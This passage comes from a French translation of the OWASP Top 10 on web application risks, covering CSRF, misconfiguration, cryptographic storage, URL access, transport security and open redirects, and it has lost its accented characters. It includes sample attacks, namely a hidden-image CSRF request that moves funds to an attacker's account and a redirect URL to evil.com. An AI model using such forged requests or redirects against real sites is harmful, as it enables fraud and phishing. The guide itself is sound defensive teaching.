autres techniques.
Si lutilisateur est
authentifi ,
lattaque est un
succs.

Prvalence
REPANDUE

Impacts
technique

Impacts
mtier

Impact
MOYEN

__________

Dtectabilit
FACILE

CSRF prends avantage des applications

web qui permettent aux attaquants de
prdire les dtails dune action
particulire. Parce que les fureteurs
envoient automatiquement des donnes
de sessions tel des cookies, les attaquants
peuvent crer des pages web malicieuses
qui gnrent des requtes forges qui ne
sont pas distinguables des lgitimes. La
dtection des CSRF est assez facile via un
test de pntration ou analyse de code.

Les attaquants
peuvent faire
changer aux
victimes nimporte
quelle donne dont
la victime a le droit
de modifier, ou
excuter nimporte
quelle action dont
la victime est
autorise.

Considrez la valeur
corporative de la
donne affecte ou
sa fonction.
Imaginez ne pas
tre convaincu si
lutilisateur avait
lintention
deffectuer laction.

Suis-je vulnrable?

Comment empcher cette attaque?

La faon la plus simple de vrifier si une application est

vulnrable est de voir si chaque lien et forme contiennent un
jeton non prvisible pour chaque utilisateur. Sans cela, les
attaquants peuvent forger une requte malicieuse. Cibler les
liens et formes qui invoquent des fonctions de changement
dtats, car elles sont la cible premire de CSRF.

Prvenir le CSRF requiert linclusion dun jeton non prvisible

dans le contenu ou URL de chaque requte HTTP. Ces jetons
devraient au minimum tre uniques par session utilisateur,
mais pourraient aussi tre unique par requte.

Vous devriez vrifier les transactions plusieurs tapes, car

elle ne sont pas intrinsquement immune. Les attaquants
peuvent facilement forger une srie de requtes en utilisant
des balises multiples ou possiblement le JavaScript.
Notez que les cookies de sessions, adresses IP sources, et
autres informations qui sont automatiquement envoyes par
le fureteur ne comptent pas, car linformation est aussi
incluse dans les requtes forges.
Loutil OWASP CSRF Tester peut aider gnrer des cas de
tests pour dmontrer le danger du CSRF.

1. Loption privilgie est dinclure le jeton unique dans un

champ cach. Ceci implique que la valeur soit envoye dans le
contenu de la requte HTTP, empchant son inclusion dans le
URL, qui est sujet lexposition.
2. Le jeton unique peut aussi tre inclue dans le URL luimme, ou dans un paramtre. Par contre, cet emplacement
court le risque que le URL sera expos un attaquant, donc
de compromettre le jeton secret.
Le CSRF Guard de lOWASP peut tre utilis pour
automatiquement inclure ces jetons dans vos applications
Java EE, .NET, ou PHP. LESAPI de lOWASP inclut un
gnrateur de jeton et un valideur que les dveloppeurs
peuvent utiliser pour protger leurs transactions.

Exemple de scnario dattaque

Rfrences

Lapplication permet un utilisateur de soumettre un

changement dtat qui ne contient aucun secret. Exemple:

OWASP

http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
Donc, lattaquant construit une requte qui transfrera un
montant dargent de la victime vers son propre compte. Il
imbriquera ensuite cette attaque sous une balise dimage ou
un IFRAME, pour finalement les placer dans diffrents sites
sous son contrle.
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=AttackerAccount#
width="0" height="0" />
Si la victime visite nimporte quel de ces sites pendant quelle
est authentifie example.com, les requtes forges vont
inclure les informations de la session de lutilisateur, et la
requte sera autorise par inadvertance.

OWASP CSRF Article

OWASP CSRF Prevention Cheat Sheet
OWASP CSRFGuard - CSRF Defense Tool
ESAPI Project Home Page
ESAPI HTTPUtilities Class with AntiCSRF Tokens
OWASP Testing Guide: Chapter on CSRF Testing

OWASP CSRFTester - CSRF Testing Tool

Externe
CWE Entry 352 on CSRF

Mauvaise configuration
Scurit

A6
Agents de Menace

Vulnrabilit
de scurit

Vecteurs
dattaque

__________

Facilit
SIMPLE

Considrez des
attaquants externes
anonymes, ou des
utilisateurs
lgitimes, tentant
de compromettre le
systme.
Considrez aussi
des employs
internes voulant
dguiser leur
actions.

Attaquant accdant
des comptes par
dfaut, pages non
utilises,
vulnrabilits non
corriges, fichiers et
rpertoires non
corrigs, etc. afin
dobtenir des accs
non autoriss ou
connaissances du
systme.

Prvalence
COMMUNE

Dtectabilit
FACILE

La mauvaise configuration de scurit

peut se manifester nimporte quel
niveau de couche applicative, incluant la
plateforme, serveur web et dapplication,
Framework, et code maison. Les
dveloppeurs et administrateurs rseau
ont besoin de travailler de concert afin de
sassurer que toutes les couches sont
configures correctement. Les scanners
autonomes sont utiles pour dtecter les
rustines manquantes, problmes de
configuration, compte par dfaut, services
inutiles, etc.

Impacts
technique

Impacts
mtier

Impact
MOYEN

__________

Cette vulnrabilit
donne
frquemment aux
attaquants des
accs non autoriss
des systmes ou
des fonctionnalits.
Occasionnellement,
ces vulnrabilits
rsultent en une
compromission
complte du
systme.

Le systme peut
tre compromis
sans le savoir.
Toutes vos donnes
peuvent tre voles
ou modifies
lentement dans le
temps.
Les cots de
recouvrement
peuvent tre
importants.

Suis-je vulnrable?

Comment empcher cette attaque?

Avez-vous effectu le durcissement de scurit appropri?

La recommandation primaire est dtablir ces requis:

1. Avoir un processus qui maintient vos logiciels niveau (OS,

serveur Web/App, BD, applications) et toutes les librairies de
code?

1. Un processus de durcissement rptable a pour effet

dtre rapide et facile de dployer un autre environnement
scuritaire. DEV, QA, et production devraient tre configurs
identiquement. Ce processus devrait tre automatis afin de
minimiser les efforts requis pour configurer un nouvel
environnement.

2. Tout ce qui est inutile est dsactiv, supprim ou non

install? (ex.: ports, services, pages, comptes, privilges)
3. Les mots de passe par dfaut sont changs ou dsactivs?
4. La gestion des erreurs est configure pour prvenir
laffichage dtat de la pile et autre dtre visibles?
5. La configuration de scurit des Framework de
dveloppement (ex.: Struts, Spring, ASP.NET) et libraires sont
tudies et configures correctement?

2. Un processus pour se garder au courant et pour dployer

les nouvelles mise--jour et rustines logicielles dans un temps
opportun, dans chaque environnement. Ceci inclut le code de
librairies, frquemment nglig.
3. Une solide architecture dapplication qui apporte une
bonne sparation et scurit entre les composantes.

6. Un processus concert et rptable est requis pour

dvelopper et maintenir une configuration de scurit
applicative adquate.

4. Effectuer des balayages de scurit et des audits

priodiques aide dtecter les futures mauvaises
configuration.

Exemple de scnario dattaque

Rfrences

Scnario #1: Votre application est base sur un Framework tel

Struts ou Spring. Une faille XSS est trouve dans une
composante du Framework utilis. Une mise jour est
dploye afin de rparer la faille, mais vous ne linstallez pas.
Les attaquants peuvent trouver et exploiter ces failles dans
votre application.

OWASP

Scnario #2: La console de gestion applicative est

automatiquement installe et non dsactive. Les comptes
par dfaut sont inchangs. Lattaquant dcouvre la console,
utilise le compte par dfaut, et prend le contrle.

OWASP Testing Guide: Testing for Error Codes

Scnario #3: La listage de rpertoire est actif sur votre

serveur. Lattaquant le dcouvre et tlcharge vos classes
java compiles, quil renversent pour obtenir votre code. Il
voit alors une faille de contrle daccs dans lapplication.
Scnario #4: La configuration du serveur applicatif permet
aux tats de pile dtre affiches aux utilisateurs. Les
attaquants adorent les informations fournies par les erreurs.

OWASP Development Guide: Chapter on Configuration

OWASP Code Review Guide: Chapter on Error Handling
OWASP Testing Guide: Configuration Management
OWASP Top 10 2004 - Insecure Configuration Management
For additional requirements in this area, see the ASVS
requirements area for Security Configuration (V12).

Externe
PC Magazine Article on Web Server Hardening
CWE Entry 2 on Environmental Security Flaws
CIS Security Configuration Guides/Benchmarks

Stockage Cryptographique
non Scuris

A7
Agents de Menace

__________
Considrez les
utilisateurs de
votre systme.
Aimeraient-ils
obtenir laccs des
donnes protges
dont ils nont pas
accs? Quen est-il
des administrateurs
internes?

Vulnrabilit
de scurit

Vecteurs
dattaque

Facilit
DIFFICILE
Les attaquants ne
brisent
normalement pas la
cryptographie. Ils
brisent autre chose,
comme trouver des
cls, des donnes
en clair, ou des
donnes via des
chemins qui
dcryptent
automatiquement.

Prvalence
NON COMMUN

Dtectabilit
DIFFICILE

La faille la plus commune est de ne pas

chiffrer les donnes sensibles. Lorsque le
cryptage est employ, la gnration de
cls et stockage non scuritaire, la nonrotation de cls, et lutilisation
dalgorithme
faible
est
commun.
Lutilisation de hash faible ou sans
consistance pour protger les mot de
passe lest aussi. Les attaquants externes
ont de la difficult dtecter ces failles d
laccs limit. Ils doivent exploiter autre
chose en premier pour obtenir laccs.

Impacts
technique

Impacts
mtier

Impact
SEVERE

__________

Lchec compromet
rgulirement les
donns devant tre
cryptes.
Typiquement les
informations
contiennent des
donnes sensibles
tel des dossiers de
sant, identits,
cartes de crdit etc.

Considrez la valeur
business des
donnes perdues et
limpact sur votre
rputation. Quelle
est votre
responsabilit
lgale si des
donnes sont
exposes?

Suis-je vulnrable?

Comment empcher cette attaque?

La premire chose dterminer est quelle donne est assez

sensible pour demander un chiffrement. Par exemple, les
mots de passe, cartes de crdit et informations personnelles
devraient tre chiffrs. Pour toutes ces donnes, sassurer de:

Le priple de la cryptographie non scuritaire est bien au del

de la porte de ce Top 10. Pour toutes les donnes mritant
un cryptage, faire au minimum tout ce qui suit,:

1. Chiffrer partout o les donnes sont stockes long terme,

particulirement les sauvegardes de ces donnes.
2. Seuls les utilisateurs autoriss peuvent accder la copie
dcrypte des donnes (e.g. contrle daccs - Voir A4 et A8).
3. Un algorithme standard de chiffrement fort est utilis.
4. Une cl forte est gnre, protge dun accs non
autoris, et les changements de cls sont planifis.
De plus, pour une liste plus complte de problmes viter,
voir le ASVS requirements on Cryptography (V7)

1. Considrant les menaces desquelles vous prvoyez de

protger vos donnes (e.g. attaquant interne, utilisateur
externe), assurez-vous de chiffrer ces donnes de telle
manire vous protger de ces menaces.
2. Sassurer que les sauvegardes externes sont chiffres, mais
que les cls sont gres et sauvegardes sparment.
3. Sassurer que les algorithmes standards et cls fortes sont
utiliss, et que la gestion des cls est en place.
4. Sassurer que les mots de passe sont hachs avec un
algorithme standard fort et appropri est utilis.
5. Sassurer que les cls et mots de passe sont protgs des
accs non autoriss.

Exemple de scnario dattaque

Rfrences

Scnario #1: Une application chiffre des cartes de crdit dans

une base de donnes. La BD est configure pour
automatiquement dchiffrer les requtes sur la colonne des
cartes, permettant une faille dinjection SQL afin de rcuprer
tous les numros en clair. Le systme devrait avoir t
configur afin de ne permettre quaux applications internes
de les dchiffrer, et non lapplication web publique.

OWASP

Scnario #2: Une copie de sauvegarde contient des dossiers

de sant cryptes, mais la cl de cryptage est sur la copie de
sauvegarde. La copie nest jamais arrive au centre de
sauvegarde.
Scnario #3: Base de donnes de mots de passe utilisant des
hash sans consistance pour stocker les MdP utilisateurs. Une
faille de tlchargement de fichier permet lattaquant
dobtenir le fichier de MdP. Tous les hash non appropris
peuvent tre attaqus par force brute en 4 semaines, alors
des hash appropris auraient prit 3000 ans.

Pour une liste plus complte de prrequis et de problmes

viter dans ce domaine, voir le ASVS requirements on
Cryptography (V7).
OWASP Top 10-2007 on Insecure Cryptographic Storage
ESAPI Encryptor API
OWASP Development Guide: Chapter on Cryptography
OWASP Code Review Guide: Chapter on Cryptography

Externe
CWE Entry 310 on Cryptographic Issues
CWE Entry 312 on Cleartext Storage of Sensitive Information
CWE Entry 326 on Weak Encryption

Manque de Restriction
dAccs URL

A8
Agents de Menace

Vulnrabilit
de scurit

Vecteurs
dattaque

__________

Exploitabilit
FACILE

Nimporte qui dot dun

accs rseau peut
envoyer une requte
lapplication. Est-ce
quun utilisateur
anonyme peut accder
une page prive ou estce quun simple
utilisateur peut accder
une page accs
privilgi?

L'attaquant,
utilisateur autoris du
systme, change
simplement l'URL
pour une page accs
privilgi. Si l'accs
est autoris, les
utilisateur anonymes
peuvent accder des
pages prives non
protges.

Prvalence
RARE

Dtection
MOYENNE

Impacts
technique

Impacts
mtier

Impact
MODR

__________

De telles failles
permettent un
attaquant d'accder
des
fonctionnalits non
autorises. Les
fonctions
d'administration
sont les cibles cls
La dtection est facile. La partie la plus difficile de ce type
consiste dterminer les pages (URLs) d'attaque.
Les application ne protgent pas toujours
correctement les requtes. Parfois la
protection des URLs est gre par
l'intermdiaire de la configuration, et le
systme est mal configur. Parfois les
dveloppeurs doivent inclure leur propre
vrification dans leur code, mais ils peuvent
oublier.

Considrez la valeur
mtier
des
fonctions exposes
et des donnes
traites.
Peut
galement
impacter
la
rputation si la
vulnrabilit a t
rendue publique.

existantes potentiellement vulnrables.

Suis-je vulnrable ?

Comment empcher cette attaque?

La meilleure faon de savoir si une application ne restreint pas

correctement l'accs aux URLs est de vrifier chaque page. Il
convient de dfinir pour chaque page si elle est cense tre
publique ou prive. Pour une page prive :

1. La page requiert-elle une authentification ?

Prvenir des accs URL non autoriss requiert la slection d'une

approche exigeant une authentification et une autorisation
appropries pour chaque page. Souvent, une telle protection est
assure par un ou plusieurs composants externes. Indpendamment
du ou des mcanismes, toutes les exigences suivantes sont
recommandes :

2. La page est-elle cense tre accessible tout utilisateur

authentifi? Si non, est-ce qu'une vrification d'autorisation est
effectue lors de l'accs cette page ?

1. Les politique d'authentification et d'autorisation doivent tre

base sur les rles, afin de minimiser l'effort ncessaire lors de leur
maintenance.

Des mcanismes externes de scurit fournissent frquemment des

vrifications d'authentification et d'autorisation. Vrifiez leur
configuration pour chaque page. Si une protection au niveau du
code est utilise, vrifiez que cette protection est en place pour
chaque page demande. Des tests de pntrations peuvent
galement vrifier si une protection adquate est en place.

2. Les politiques doivent tre hautement configurables, afin de

minimiser les aspects cods en dur.
3. Le mcanisme d'application des politiques doit refuser tout accs
par dfaut et exiger des droits spcifiques pour l'accs chaque
page.
4. Si la page est implique dans un workflow, assurez-vous que
toutes les conditions sont runies pour permettre l'accs.

Exemple de scnario dattaque

Rfrences

L'attaquant force simplement la navigation d'URLs cibles.

Considrons les URLs suivantes censes toutes deux exiger une
authentification. Des droits Administrateur sont galement requis
pour accder la page admin_getappInfo .

OWASP
OWASP Top 10-2007 on Failure to Restrict URL Access
ESAPI Access Control API

http://example.com/app/getappInfo

OWASP Development Guide: Chapter on Authorization

http://example.com/app/admin_getappInfo

OWASP Testing Guide: Testing for Path Traversal

Si l'attaquant n'est pas authentifi et que l'accs l'une des pages

est accord, alors un accs non autoris est permis. Si un utilisateur
non administrateur authentifi est autoris accder la page
admin_getappInfo , il existe une faille pouvant conduire
l'attaquant accder d'autres pages rserves aux administrateurs
non protges.
De telles failles sont frquemment introduites lorsque des liens et
des boutons sont simplement masqus aux utilisateurs non
autoriss, l'application ne protge pas les pages cibles.

OWASP Article on Forced Browsing

Pour dautres exigences de contrle daccs, voir ASVS requirements
area for Access Control (V4).

Externes
CWE Entry 285 on Improper Access Control (Authorization)

Protection insuffisante de la
couche Transport

A9
Agents de Menace

__________
Toute personne
pouvant surveiller le
trafic rseau des
utilisateurs. Si
l'application est sur
internet, toute
personne sachant
comment les
utilisateurs accdent
l'application. Sans
oublier les
connections back-end.

Vulnrabilit
de scurit

Vecteurs
dattaque

Exploitabilit
DIFFICILE
Surveiller le trafic
rseau des utilisateurs
est gnralement
difficile, mais peut
parfois tre facile. La
principale difficult
rside dans le suivi du
trafic adquat du
rseau lorsque les
utilisateurs accdent
au site vulnrable.

Prvalence
COMMUN

Dtection
FACILE

Frquemment les applications ne protgent

pas le trafic rseau. Elles peuvent utiliser
SSL/TLS durant l'authentification, mais exposer
par ailleurs des donnes et identifiants de
session. Des certificats expirs ou mal
configurs peuvent galement tre utiliss.
Dtecter des failles basique est facile. Il suffit
d'observer le trafic rseau du site. Les failles
plus subtiles requirent une inspection de
l'architecture de l'application et de la
configuration du serveur.

Impacts
technique

Impacts
mtier

Impact
MODR

__________

De telles failles exposent

des donnes utilisateurs
et peuvent conduire
leur usurpation. Si un
compte Administrateur
est compromis,
l'ensemble du site peut
tre impact. Une
mauvaise configuration
de SSL peut aussi faciliter
des attaques (phishing,
man in the middle, etc.).

Considrez la valeur
mtier des donnes
exposes sur le canal de
communication en
fonction des besoins de
confidentialit et
d'intgrit et de la
ncessit d'authentifier
les deux parties.

Suis-je vulnrable ?

Comment empcher cette attaque?

La meilleure faon de savoir si une application ne bnficie pas

d'une protection suffisante de la couche Transport consiste vrifier
que :

Assurer une bonne protection de la couche Transport peut influer

sur la conception entire du site. Il est plus facile d'exiger SSL pour
l'ensemble du site. Pour des raisons de performances, certains sites
n'utilisent SSL que pour les pages prives. D'autres, ne l'utilise que
pour les pages "critiques", mais cela peut exposer les identifiants de
session et autres donnes sensibles. Au minimum, il convient de :

1. SSL est utilis pour protger tout trafic dauthentification.

2. SSL est utilis pour toutes les ressources sur toutes les pages et
services privs afin de protger toutes les donnes et jetons de
session changs. L'utilisation de Mixed SSL sur une page devrait
tre vite car les avertissements utilisateur provoqus peuvent
exposer les identifiants de session de l'utilisateur.
3. Seuls des algorithmes forts sont pris en charge.

4. Tous les cookies de session spcifient un flag scuris (secure flag)

afin que le navigateur ne les transmette pas en clair.
5. Le certificat du serveur est lgitime et correctement configur.
Cela inclut qu'il soit mis par un metteur autoris, ne soit pas
expir, ne soit pas rvoqu et corresponde l'ensemble des
domaines utiliss par le site.

1. Exiger SSL pour toutes les pages sensibles. Les requtes non SSL
sur ces pages doivent tre rediriges vers la page SSL.
2. Spcifier le drapeau scuris (secure flag) sur tous les cookies
sensibles.
3. Configurer SSL de faon n'utiliser que des algorithmes forts (ex :
respectant FIPS 140-2).
4. S'assurer que le certificat est valide, non expir, non rvoqu et
correspondant tous les domaines utiliss par le site.
5. Les connexions back-end devraient aussi utiliser SSL ou d'autres
technologies de chiffrement.

Exemple de scnarios dattaque

Rfrences

Scnario #1 : Un site n'utilise pas SSL pour les pages ncessitant une
authentification. L'attaquant surveille simplement le trafic rseau
(comme un rseau sans fil ouvert ou un rseau cbl) et observe un
cookie de session d'un utilisateur authentifi. L'attaquant peut alors
rutiliser ce cookie afin d'obtenir la session de l'utilisateur.

OWASP

Scnario #2 : Un site possdant un certificat SSL mal configur qui

provoque des avertissements dans le navigateur. Les utilisateurs
sont contraints d'accepter ces avertissements pour utiliser le site,
rendant ainsi de tels avertissements banaux. Les attaques de type
phishing utilisant des sites sosies provoquent galement de tels
avertissements. Les utilisateurs habitus accepter des
avertissements, les acceptent et fournissent ainsi des mots de passe
ou d'autres donnes personnelles.

OWASP Top 10-2007 on Insecure Communications

Scnario #3 : Un site utilise simplement la norme ODBC/JDBC pour la

connexion la base de donnes, sans raliser que tout le trafic est
en clair.

Pour un ensemble plus complet d'exigences et des problmes

viter, voir ASVS requirements on Communications Security (V10).
OWASP Transport Layer Protection Cheat Sheet
OWASP Development Guide: Chapter on Cryptography
OWASP Testing Guide: Chapter on SSL/TLS Testing

Externes
CWE Entry 319 on Cleartext Transmission of Sensitive Information
SSL Labs Server Test
Definition of FIPS 140-2 Cryptographic Standard

Redirections et Renvois
non valids

A10
Agents de Menace

__________
Considrez toute
personne pouvant
tromper les utilisateurs
lors d'une requte
votre site web.
N'importe quel site web
ou autre flux HTML
utilis peut en tre la
cible.

Vulnrabilit
de scurit

Vecteurs
dattaque

Exploitabilit
MOYENNE
L'attaquant cre des
liens vers des
redirections non valides
et invite les utilisateurs
cliquer dessus. Les
victimes sont enclins
cliquer sur ces liens,
puisqu'ils pointent vers
un site valide.
L'attaquant utilise les
renvois (forwards) non
srs pour contourner des
contrles de scurit.

Prvalence
RARE

Dtection
FACILE

Les applications utilisent frquemment les

redirections et les renvois pour rediriger les
utilisateurs vers d'autres pages. Parfois la page cible
est spcifie dans un paramtre non valid,
permettant un attaquant de choisir la page de
destination.
La dtection de redirections non vrifies est facile :
recherchez des redirections o l'URL complte peut
tre modifie. La dtection de renvois non vrifis
est plus complique puisqu'ils ciblent des pages
internes.

Impacts
technique

Impacts
mtier

Impact
MODR

__________

De telles redirections
peuvent permettre
l'installation de logiciels
malveillants ou
l'usurpation
d'informations sensibles
de l'utilisateur. Des
renvois non srs peuvent
permettre de contourner
les contrles d'accs.

Considrez la valeur
mtier associe la
confiance des
utilisateurs.
Qu'adviendrait-il s'ils
taient pigs par un
logiciel malveillant?
Qu'adviendrait-il si un
attaquant avait accs
des fonctions internes?

Suis-je vulnrable?

Comment empcher cette attaque?

La meilleure faon de vrifier si une application possde des

redirection ou renvois non valids est de :

L'utilisation sre des redirections et des renvois peut tre ralise

de diffrentes faons :

1.Examiner le code pour toutes les utilisations de redirections ou de

renvois (appel transferts en .NET). Dans chaque cas, identifiez si
lURL cible est incluse dans les paramtres. Le cas chant, vrifiez
que le(s) paramtre(s) sont valids pour contenir seulement une
destination autorise ou un lment dune destination autorise.

1.Nutilisez simplement pas les redirections et les renvois.

2.Parcourir le site, afin de vrifier sil gnre des redirections (codes

HTTP 300-307, typiquement 302). Regarder si les paramtres fournis
avant la redirection semblent tre une URL cible ou un lment de
cette URL. Le cas chant, changer lURL cible et observer si le site
redirige vers la nouvelle cible.
3.Si le code nest pas disponible, vrifier tous les paramtres pour
voir sils semblent contribuer une redirection ou un renvoi et
tester ceux qui y contribuent.

2.Si ils sont utiliss, n'incluez pas de paramtres utilisateurs dans la

construction de la destination. Ceci est tout fait ralisable!
3.Si les paramtres de destination ne peuvent pas tre vits, veillez
vrifier que les donnes saisies soient valides et autorises pour
l'utilisateur. Il est recommand que tous les paramtres de
destination aient une valeur abstraite plutt que l'URL ou une
portion de l'URL, et que la traduction de la valeur abstraite en l'URL
cible soit assure par le serveur. Les applications peuvent utiliser
ESAPI pour bnficier de la fonction sendRedirect() permettant de
s'assurer que les redirections soient sres.
Eviter de telles failles est extrmement important car elle sont la
cible favorite des hameonneurs (phishers) tentant de gagner la
confiance des utilisateurs.

Exemple de scnarios dattaque

Rfrences

Scnario #1 : L'application possde une page nomme redirect.jsp

prenant en compte un seul paramtre nomm url. L'attaquant
cre une URL malveillante redirigeant les utilisateurs vers un site
ralisant du hameonnage (phishing) ou installant des logiciels
malveillants (malware).

OWASP

http://www.example.com/redirect.jsp?url=evil.com
Scnario #2 : L'application utilise des renvois pour acheminer des
requtes entre diffrentes parties du site. Pour faciliter cela,
certaines pages utilisent un paramtre indiquant vers quelle page
l'utilisateur doit tre dirig en cas de succs de la transaction. Dans
ce cas, l'attaquant cre une URL satisfaisant les contrles d'accs de
l'application et le dirigeant ensuite vers une fonction administrateur
laquelle il ne devrait pas avoir accs.
http://www.example.com/boring.jsp?fwd=admin.jsp

OWASP Article on Open Redirects

ESAPI SecurityWrapperResponse sendRedirect() method

Externes
CWE Entry 601 on Open Redirects
WASC Article on URL Redirector Abuse

Google blog article on the dangers of open redirects

+D

Concernant les Dveloppeurs

Crez et utilisez une bibliothque complte de Contrles de Scurit communs

Que vous soyez dbutant ou dj trs expriment dans la scurit des applications web, il peut s'avrer difficile de raliser une
nouvelle application web, ou bien d'en scuriser une existante. Et la complexit explose si vous devez intervenir sur un grand
nombre d'applications.
De nombreuses ressources OWASP sont disponibles en open-source
L'OWASP met gratuitement disposition un grand nombre de ressources, afin d'aider les organisations et les dveloppeurs
amliorer la scurit de leurs applications web avec efficacit et moindre cot. Les exemples ci-dessous illustrent les domaines
o l'OWASP peut vous aider scuriser vos applications web, complts dans les pages suivantes par d'autres ressources
relatives la validation et l'audit de scurit.

Exigences
de
Scurit des
Applications

Architecture
Scurise

Contrles
de
Scurit
Standards

Cycle de
Dveloppeme
nt
Scuris

Tutoriaux

de
Scurit

Pour faire une application scurise, vous devez d'abord prciser ce que scurit veut dire.
L'OWASP vous recommande d'utiliser son guide Application Security Verification Standard (ASVS)
pour dfinir les exigences de scurit de vos applications. En cas de sous-traitance, l'annexe
OWASP Secure Software Contract Annex est conseille.

Il est beaucoup plus rentable de dvelopper une application en la scurisant ds sa conception

plutt que de combler ses faiblesses a posteriori. L'OWASP vous recommande son guide
OWASP Developer's Guide pour vous aider concevoir votre application en s'attachant sa
scurit ds les premiers instants du projet.

Il est trs difficile d'crire des contrles de scurit robustes et comprhensibles la fois.
L'OWASP vous conseille d'utiliser le projet OWASP Enterprise Security API (ESAPI) comme
template pour la scurisation des interfaces de vos applications web. L'ensemble des contrles
standards qu'il contient facilitera grandement votre dveloppement d'applications en Java, .NET,
PHP, Classic ASP, Python et ColdFusion.

L'OWASP recommande le Modle OWASP Software Assurance Maturity Model (SAMM), qui
permet aux organisations de dfinir et de mettre en uvre une Stratgie de Scurit adapte
leurs risques spcifiques, amliorant ainsi leur processus de ralisation d'applications scurises.

Le projet OWASP Education Project fournit un grand nombre de cours pour former au
dveloppement d'applications scurises, de mme qu'une collection de prsentations OWASP
Education Presentations. Pour vous entraner chercher des vulnrabilits, attaquez le serveur
OWASP WebGoat ! Enfin, pour vous tenir inform, participez une OWASP AppSec Conference,
ou une runion de votre chapitre OWASP local.

Il y a beaucoup d'autres ressources OWASP disponibles. Merci de consulter la page OWASP projects page, qui liste lensemble des
projets OWASP, classs par niveau de qualit (alpha, bta, ou release).La plupart des ressources OWASP sont disponibles sur
notre wiki, et de nombreux documents peuvent tre commands sous une forme imprime.

+V

Concernant les Valideurs

Soyez organis
Pour valider la scurit d'une application que vous dveloppez ou que vous envisagez d'acheter, l'OWASP vous recommande de
contrler son code source (si il est disponible), mais aussi de lui faire passer un test de pntration. L'OWASP vous conseille
d'ailleurs d'appliquer les deux techniques aussi souvent que ncessaire : tant complmentaires, leur synergie vous offrira un
rsultat suprieur leurs points forts respectifs. Pour un analyste expriment, les outils d'aide la validation peuvent amliorer
son efficacit et la pertinence de ses rsultats. Les outils d'valuation de l'OWASP sont focaliss sur la manire d'aider les experts
chercher plus efficacement, plutt que de pousser l'automatisation de l'analyse elle-mme.
Normalisez comment vous vrifiez la Scurit Applicative Web: l'OWASP a ralis la mthode de validation Application Security
Verification Standard (ASVS) pour aider les entreprises amliorer la cohrence et la rigueur de leurs valuations de Scurit
des Applications Web : ce document dfinit une mthode standard minimale de validation de la Scurit pour la conduite de ces
valuations . L'OWASP vous recommande d'utiliser ASVS comme guide pour savoir ce quil faut rechercher lors de la vrification
de la Scurit d'une Application Web, mais aussi quelles sont les techniques les plus appropries au besoin, et comment choisir
et dfinir le niveau d'exigence lors de la vrification de la Scurit d'une Application Web. L'OWASP vous recommande
galement d'utiliser ASVS pour vous aider dfinir et choisir les options des services en ligne de demande d'valuation que vous
pourriez contracter auprs d'un fournisseur tiers.

Organisez-vous

Outils d'valuation: Le projet Live CD de l'OWASP a runi certains des meilleurs outils de scurit Open Source dans un
environnement bootable unique. Les dveloppeurs web, testeurs et professionnels de la scurit peuvent booter sur ce CD Live
et avoir immdiatement accs une gamme complte de tests de scurit. Aucune installation ou configuration n'est ncessaire
pour utiliser les outils fournis sur ce CD.

Audit de Code

Tests de Scurit et de Pntration

Faire une Revue de Code est le meilleur moyen de vrifier

qu'une application est bien scurise. Faire des tests ne sert
qu' prouver qu'une application n'est pas scurise.

Test de l'application: OWASP a ralis le Testing Guide afin

d'aider les dveloppeurs et les spcialistes de la scurit des
applications comprendre comment russir valider
efficacement la Scurit de leurs Applications Web. Ce guide
norme, qui a eu de nombreux contributeurs, couvre un
large spectre de techniques de Tests de Scurit des
Applications Web. Tout comme les Revues de Code, les Tests
de Scurit ont leurs points forts : il est par exemple trs
convaincant de prouver qu'une Application Web n'est pas
scurise en dmontrant une attaque. Les Tests peuvent
galement dtecter de nombreuses failles lies
l'infrastructure, invisibles la Revue de Code
puisqu'trangres l'application elle-mme.

Audit du Code: en complment du OWASP Devolopers Guide

et du OWASP Testing Guide, l'OWASP a dvelopp lOWASP
Code Review Guide, afin d'aider les dveloppeurs et les
spcialistes de la scurit des applications comprendre
comment russir scuriser efficacement une Application
Web par la revue de son code. Il y a de nombreux problmes
potentiels de Scurit dans les Applications Web, comme par
exemple les vulnrabilit aux injections, qui sont bien plus
faciles trouver par Revue de Code que par des tests
d'attaques externes.
Outils dAudit de Code: l'OWASP a ralis des avances
prometteuses pour assister les experts dans leurs Revues de
Code, mais ces outils n'en sont encore qu' leurs dbuts. Bien
que les auteurs de ces outils les utilisent couramment pour
effectuer leurs propres Revues de Code, les non-initis les
trouveront encore un peu difficile d'accs. On peut citer par
exemple CodeCrawler, Orizon, et O2.

Outils de Tests de Pntration: WebScarab, qui est l'un des

outils les plus utiliss de l'OWASP, est un proxy intercepteur
pour le test des Applications Web. Il permet l'auditeur de
visualiser toutes les requtes de l'Application Web, ce qui
permet de comprendre son fonctionnement interne, il peut
ensuite envoyer des requtes modifies afin de voir si elles
sont traites avec Scurit. Cet outil est particulirement
efficace pour trouver des failles de cross-scripting,
d'authentification ou de contrle d'accs.

+O

Concernant les Entreprises

Lancez ds maintenant votre programme de Scurisation des Applications

La Scurit des applications n'est plus optionnelle. Positionnes entre les attaques toujours plus nombreuses et les contraintes
de la loi, les organisations doivent possder les comptences pour russir scuriser leurs Applications Web. tant donn le
nombre impressionnant d'applications et de lignes de code qui sont dj en production, de nombreuses organisations se
dmnent pour traiter cet norme volume de vulnrabilits. L'OWASP recommande aux organisations de mettre en place un
programme de Scurisation des Applications afin de mieux comprendre et d'amliorer la scurit de leur portefeuille
d'applications. Atteindre cet objectif de Scurit ncessite de faire collaborer efficacement de nombreuses quipes d'une mme
organisation : la scurit, l'audit, le dveloppement de logiciels, mais aussi le management commercial et excutif. Cet objectif
de Scurit doit clairement tre affich, afin que ces diffrents acteurs puissent prendre connaissance et comprendre quel est le
positionnement de l'organisation sur la Scurit. Il faut enfin mettre en avant les activits et les rsultats qui aident amliorer
concrtement la scurit de l'entreprise en s'attaquant la rduction des risques avec les mthodes les plus rentables. Les
programmes efficaces de Scurisation mettent en uvre les activits incontournables ci-dessous :

Premire
Etape

tablissez un programme de Scurit des Applications et fates-le approuver.

Fates une tude de vos lacunes en comparant votre organisation ses semblables pour identifier vos
principaux axes d'amlioration et dfinir un plan d'action.
Obtenez l'approbation du management, et mettez en place une campagne de sensibilisation la
Scurit dans toutes les parties de votre organisation concernes par l'informatique.

Faire un
Inventaire
Orient
Risque

Fates l'inventaire de vos Applications et classez-les en fonction de leurs risques inhrents.

Crez un modle de document d'analyse de risque pour valuer et classer vos Applications.
Crez des rgles d'assurance qualit pour dfinir la couverture et le niveau de durcissement requis.
Dfinissez un modle commun de niveaux de risques, s'appuyant sur un ensemble cohrent de
probabilits et d'impacts, et reprsentatif de l'approche de gestion des risques de votre organisation.

Permettre
une
Base
Solide

Intgrer la
Scurit
